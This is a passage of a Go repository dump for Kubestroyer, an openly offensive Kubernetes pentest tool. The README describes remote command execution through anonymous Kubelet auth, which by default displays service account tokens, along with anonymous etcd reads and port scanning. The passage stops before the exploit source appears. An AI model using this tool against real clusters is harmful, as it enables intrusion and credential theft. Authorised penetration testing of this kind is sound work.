[
  {
    "path": ".gitignore",
    "content": ".idea"
  },
  {
    "path": "LICENSE.txt",
    "content": "MIT License\n\nCopyright (c) 2023 Rolix\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<!-- Improved compatibility of back to top link: See: https://github.com/othneildrew/Best-README-Template/pull/73 -->\n<a name=\"readme-top\"></a>\n<!--\n*** Thanks for checking out the Best-README-Template. If you have a suggestion\n*** that would make this better, please fork the repo and create a pull request\n*** or simply open an issue with the tag \"enhancement\".\n*** Don't forget to give the project a star!\n*** Thanks again! Now go create something AMAZING! :D\n-->\n\n\n\n<!-- PROJECT SHIELDS -->\n<!--\n*** I'm using markdown \"reference style\" links for readability.\n*** Reference links are enclosed in brackets [ ] instead of parentheses ( ).\n*** See the bottom of this document for the declaration of the reference variables\n*** for contributors-url, forks-url, etc. This is an optional, concise syntax you may use.\n*** https://www.markdownguide.org/basic-syntax/#reference-style-links\n-->\n<div align=\"center\">\n\n  [![Contributors][contributors-shield]][contributors-url]\n  [![Forks][forks-shield]][forks-url]\n  [![Stargazers][stars-shield]][stars-url]\n  [![Issues][issues-shield]][issues-url]\n  [![MIT License][license-shield]][license-url]\n\n</div>\n\n\n\n<!-- PROJECT LOGO -->\n<br />\n<div align=\"center\">\n  <a href=\"https://github.com/Rolix44/Kubestroyer\">\n    <img src=\".github/logo.png\" alt=\"Logo\" width=\"80\" height=\"80\">\n  </a>\n\n<h3 align=\"center\">Kubestroyer</h3>\n\n  <p align=\"center\">\n    Kubestroyer aims to exploit Kubernetes clusters misconfigurations and be the swiss army knife of your Kubernetes pentests\n    <br />\n    <a href=\"https://github.com/Rolix44/Kubestroyer\"><strong>Explore the docs »</strong></a>\n    <br />\n    <br />\n    <a href=\"https://github.com/Rolix44/Kubestroyer/issues\">Report Bug</a>\n    ·\n    <a href=\"https://github.com/Rolix44/Kubestroyer/issues\">Request Feature</a>\n  </p>\n</div>\n\n\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li>\n      <a href=\"#about-the-project\">About The Project</a>\n      <ul>\n        <li><a href=\"#built-with\">Built With</a></li>\n      </ul>\n    </li>\n    <li>\n      <a href=\"#getting-started\">Getting Started</a>\n      <ul>\n        <li><a href=\"#prerequisites\">Prerequisites</a></li>\n        <li><a href=\"#installation\">Installation</a></li>\n      </ul>\n    </li>\n    <li><a href=\"#usage\">Usage</a></li>\n    <li><a href=\"#roadmap\">Roadmap</a></li>\n    <li><a href=\"#contributing\">Contributing</a></li>\n    <li><a href=\"#license\">License</a></li>\n    <li><a href=\"#contact\">Contact</a></li>\n  </ol>\n</details>\n\n\n\n<!-- ABOUT THE PROJECT -->\n## About The Project\n\n[![Product Name Screen Shot][product-screenshot]]()\n\n**Kubestroyer** is a Golang exploitation tool that aims to take advantage of Kubernetes clusters misconfigurations.\n\nThe tool is scanning known Kubernetes ports that can be exposed as well as exploiting them.\n\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n### Built With\n<br>\n\n[![Golang][Golang]][Golang-url]\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n<!-- GETTING STARTED -->\n## Getting Started\n\nTo get a local copy up and running, follow these simple example steps.\n\n### Prerequisites\n\n* Go 1.19\n  ```sh\n  wget https://go.dev/dl/go1.19.4.linux-amd64.tar.gz\n  tar -C /usr/local -xzf go1.19.4.linux-amd64.tar.gz\n  ```\n\n### Installation\nUse [prebuilt binary](https://github.com/Rolix44/Kubestroyer/releases) \n\n**or**\n\nUsing go install command :\n```sh\n$ go install github.com/Rolix44/Kubestroyer@latest\n```\n**or**\n\nbuild from source:\n\n1. Clone the repo\n   ```sh\n   $ git clone https://github.com/Rolix44/Kubestroyer.git\n   ```\n2. build the binary\n   ```sh\n   $ go build -o Kubestroyer cmd/kubestroyer/main.go \n   ```\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n<!-- USAGE EXAMPLES -->\n## Usage\n[![Product usage][usage-gif]]()\n\n| Parameter    | Description                                                                 | Mand/opt  | Example                                  | \n|--------------|-----------------------------------------------------------------------------|---|------------------------------------------|\n| -t / --target | Target (IP, domain or file)                                                 |  Mandatory | -t localhost,127.0.0.1 /  -t ./domain.txt |\n| --node-scan  | Enable node port scanning (port 30000 to 32767)                             |  Optionnal | -t localhost --node-scan                 |\n| --anon-rce   | RCE using Kubelet API anonymous auth                                        | Optionnal  | -t localhost --anon-rce                  |\n| -x           | Command to execute when using RCE (display service account token by default) | Optionnal  | -t localhost --anon-rce -x \"ls -al\"      |\n| --etcd       | Read wanted objects if etcd anonymous access is enabled                     | Optionnal  | -t localhost --etcd                      |\n\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n<!-- CURRENT FEATURES -->\n## Currently supported features\n\n- Target\n  - List of multiple targets\n  - Input file as target\n\n- Scanning\n  - Known ports scan\n  - Node port scan (30000 to 32767)\n  - Port description\n\n- Vulnerabilities\n  - Annon RCE on Kubelet\n    - Choose command to execute\n    - Choose container to execute command in\n  - Etcd anonymous read\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n<!-- ROADMAP -->\n## Roadmap\n\n- [x] Choose the pod for anon RCE \n- [x] Etcd exploit\n- [ ] Kubelet read-only API parsing for information disclosure\n\nSee the [open issues](https://github.com/Rolix44/Kubestroyer/issues) for a full list of proposed features (and known issues).\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n<!-- CONTRIBUTING -->\n## Contributing\n\nContributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are **greatly appreciated**.\n\nIf you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag \"enhancement\".\nDon't forget to give the project a star! Thanks again!\n\n1. Fork the Project\n2. Create your Feature Branch (`git checkout -b feature/AmazingFeature`)\n3. Commit your Changes (`git commit -m 'Add some AmazingFeature'`)\n4. Push to the Branch (`git push origin feature/AmazingFeature`)\n5. Open a Pull Request\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n<!-- LICENSE -->\n## License\n\nDistributed under the MIT License. See `LICENSE.txt` for more information.\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n<!-- CONTACT -->\n## Contact\n\nRolix - [@Rolix_cy](https://twitter.com/Rolix_cy) - rolixcy@protonmail.com\n\nProject Link: [https://github.com/Rolix44/Kubestroyer](https://github.com/Rolix44/Kubestroyer)\n\n<p align=\"right\">(<a href=\"#readme-top\">back to top</a>)</p>\n\n\n\n\n<!-- MARKDOWN LINKS & IMAGES -->\n<!-- https://www.markdownguide.org/basic-syntax/#reference-style-links -->\n[contributors-shield]: https://img.shields.io/github/contributors/Rolix44/Kubestroyer.svg?style=for-the-badge\n[contributors-url]: https://github.com/Rolix44/Kubestroyer/graphs/contributors\n[forks-shield]: https://img.shields.io/github/forks/Rolix44/Kubestroyer.svg?style=for-the-badge\n[forks-url]: https://github.com/Rolix44/Kubestroyer/network/members\n[stars-shield]: https://img.shields.io/github/stars/Rolix44/Kubestroyer.svg?style=for-the-badge\n[stars-url]: https://github.com/Rolix44/Kubestroyer/stargazers\n[issues-shield]: https://img.shields.io/github/issues/Rolix44/Kubestroyer.svg?style=for-the-badge\n[issues-url]: https://github.com/Rolix44/Kubestroyer/issues\n[license-shield]: https://img.shields.io/github/license/Rolix44/Kubestroyer.svg?style=for-the-badge\n[license-url]: https://github.com/Rolix44/Kubestroyer/blob/master/LICENSE.txt\n[linkedin-shield]: https://img.shields.io/badge/-LinkedIn-black.svg?style=for-the-badge&logo=linkedin&colorB=555\n[Golang]: https://img.shields.io/badge/Golang-0769AD?style=for-the-badge&logo=Go&logoColor=white\n[Golang-url]: https://go.dev/\n[product-screenshot]: .github/project-name.png\n[release]: https://github.com/Rolix44/Kubestroyer/releases/new\n[usage-gif]: .github/kubestroyer-usage.gif"
  },
  {
    "path": "cmd/kubestroyer/main.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/Rolix44/Kubestroyer/pkg\"\n\t\"github.com/Rolix44/Kubestroyer/utils\"\n)\n\nfunc main() {\n\n\tfmt.Println(\"\\x1b[1;36m\" + utils.Toolname + \"\\x1b[0m\")\n\tfmt.Println(utils.Author)\n\tfmt.Println(utils.Split)\n\n\tutils.Config()\n\tpkg.Execute()\n\n}\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/Rolix44/Kubestroyer\n\ngo 1.19\n\nrequire (\n\tgithub.com/AlecAivazis/survey/v2 v2.3.7\n\tgithub.com/pborman/getopt/v2 v2.1.0\n\tgo.etcd.io/etcd/client/v3 v3.5.11\n\tgo.uber.org/zap v1.27.0\n\tgoogle.golang.org/grpc v1.59.0\n)\n\nrequire (\n\tgithub.com/coreos/go-semver v0.3.0 // indirect\n\tgithub.com/coreos/go-systemd/v22 v22.3.2 // indirect\n\tgithub.com/gogo/protobuf v1.3.2 // indirect\n\tgithub.com/golang/protobuf v1.5.4 // indirect\n\tgithub.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect\n\tgithub.com/mattn/go-colorable v0.1.2 // indirect\n\tgithub.com/mattn/go-isatty v0.0.8 // indirect\n\tgithub.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect\n\tgo.etcd.io/etcd/api/v3 v3.5.11 // indirect\n\tgo.etcd.io/etcd/client/pkg/v3 v3.5.11 // indirect\n\tgo.uber.org/multierr v1.11.0 // indirect\n\tgolang.org/x/net v0.17.0 // indirect\n\tgolang.org/x/sys v0.13.0 // indirect\n\tgolang.org/x/term v0.13.0 // indirect; indirects\n\tgolang.org/x/text v0.13.0 // indirect\n\tgoogle.golang.org/genproto v0.0.0-20230822172742-b8732ec3820d // indirect\n\tgoogle.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d // indirect\n\tgoogle.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d // indirect\n\tgoogle.golang.org/protobuf v1.33.0 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=\ngithub.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=\ngithub.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=\ngithub.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=\ngithub.com/coreos/go-semver v0.3.0 h1:wkHLiw0WNATZnSG7epLsujiMCgPAc9xhjJ4tgnAxmfM=\ngithub.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=\ngithub.com/coreos/go-systemd/v22 v22.3.2 h1:D9/bQk5vlXQFZ6Kwuu6zaiXJ9oTPe68++AzAJc1DzSI=\ngithub.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=\ngithub.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=\ngithub.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=\ngithub.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=\ngithub.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=\ngithub.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek=\ngithub.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps=\ngithub.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=\ngithub.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=\ngithub.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=\ngithub.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=\ngithub.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=\ngithub.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=\ngithub.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=\ngithub.com/mattn/go-colorable v0.1.2 h1:/bC9yWikZXAL9uJdulbSfyVNIR3n3trXl+v8+1sx8mU=\ngithub.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=\ngithub.com/mattn/go-isatty v0.0.8 h1:HLtExJ+uU2HOZ+wI0Tt5DtUDrx8yhUqDcp7fYERX4CE=\ngithub.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=\ngithub.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b h1:j7+1HpAFS1zy5+Q4qx1fWh90gTKwiN4QCGoY9TWyyO4=\ngithub.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=\ngithub.com/pborman/getopt/v2 v2.1.0 h1:eNfR+r+dWLdWmV8g5OlpyrTYHkhVNxHBdN2cCrJmOEA=\ngithub.com/pborman/getopt/v2 v2.1.0/go.mod h1:4NtW75ny4eBw9fO1bhtNdYTlZKYX5/tBLtsOpwKIKd0=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=\ngithub.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=\ngo.etcd.io/etcd/api/v3 v3.5.11 h1:B54KwXbWDHyD3XYAwprxNzTe7vlhR69LuBgZnMVvS7E=\ngo.etcd.io/etcd/api/v3 v3.5.11/go.mod h1:Ot+o0SWSyT6uHhA56al1oCED0JImsRiU9Dc26+C2a+4=\ngo.etcd.io/etcd/client/pkg/v3 v3.5.11 h1:bT2xVspdiCj2910T0V+/KHcVKjkUrCZVtk8J2JF2z1A=\ngo.etcd.io/etcd/client/pkg/v3 v3.5.11/go.mod h1:seTzl2d9APP8R5Y2hFL3NVlD6qC/dOT+3kvrqPyTas4=\ngo.etcd.io/etcd/client/v3 v3.5.11 h1:ajWtgoNSZJ1gmS8k+icvPtqsqEav+iUorF7b0qozgUU=\ngo.etcd.io/etcd/client/v3 v3.5.11/go.mod h1:a6xQUEqFJ8vztO1agJh/KQKOMfFI8og52ZconzcDJwE=\ngo.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=\ngo.uber.org/multierr v1.11.0 h1:blXXJkSxSSfBVBlC76pxqeO+LN3aDfLQo+309xJstO0=\ngo.uber.org/multierr v1.11.0/go.mod h1:20+QtiLqy0Nd6FdQB9TLXag12DsQkrbs3htMFfDN80Y=\ngo.uber.org/zap v1.27.0 h1:aJMhYGrd5QSmlpLMr2MftRKl7t8J8PTZPA732ud/XR8=\ngo.uber.org/zap v1.27.0/go.mod h1:GB2qFLM7cTU87MWRP2mPIjqfIDnGu+VIO4V/SdhGo2E=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=\ngolang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=\ngolang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE=\ngolang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek=\ngolang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k=\ngolang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE=\ngolang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=\ngolang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngolang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngoogle.golang.org/genproto v0.0.0-20230822172742-b8732ec3820d h1:VBu5YqKPv6XiJ199exd8Br+Aetz+o08F+PLMnwJQHAY=\ngoogle.golang.org/genproto v0.0.0-20230822172742-b8732ec3820d/go.mod h1:yZTlhN0tQnXo3h00fuXNCxJdLdIdnVFVBaRJ5LWBbw4=\ngoogle.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q=\ngoogle.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk=\ngoogle.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4=\ngoogle.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M=\ngoogle.golang.org/grpc v1.59.0 h1:Z5Iec2pjwb+LEOqzpB2MR12/eKFhDPhuqW91O+4bwUk=\ngoogle.golang.org/grpc v1.59.0/go.mod h1:aUPDwccQo6OTjy7Hct4AfBPD1GptF4fyUjIkQ9YtF98=\ngoogle.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI=\ngoogle.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\n"
  },
  {
    "path": "pkg/cmd.go",
    "content": "package pkg\n\nimport (\n\t\"bufio\"\n\t\"log\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/Rolix44/Kubestroyer/utils\"\n)\n\nfunc Execute() {\n\n\t_, err := os.Stat(utils.Target)\n\tif err != nil {\n\t\tutils.Targets = strings.Split(utils.Target, \",\")\n\t} else {\n\t\tfile, err := os.Open(utils.Target)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tdefer file.Close()\n\t\tsc := bufio.NewScanner(file)\n\n\t\tfor sc.Scan() {\n\t\t\tutils.Targets = append(utils.Targets, sc.Text())\n\t\t}\n\t\tif err := sc.Err(); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n\n\tfor _, target := range utils.Targets {\n\t\tif !utils.AnonRce && !utils.ScanEtcd {\n\t\t\tcheckPorts(target)\n\t\t}\n\n\t\tif utils.AnonRce {\n\t\t\tanonRce(target)\n\t\t}\n\n\t\tif utils.ScanEtcd {\n\t\t\treadEtcdObjects(target)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/expoit.go",
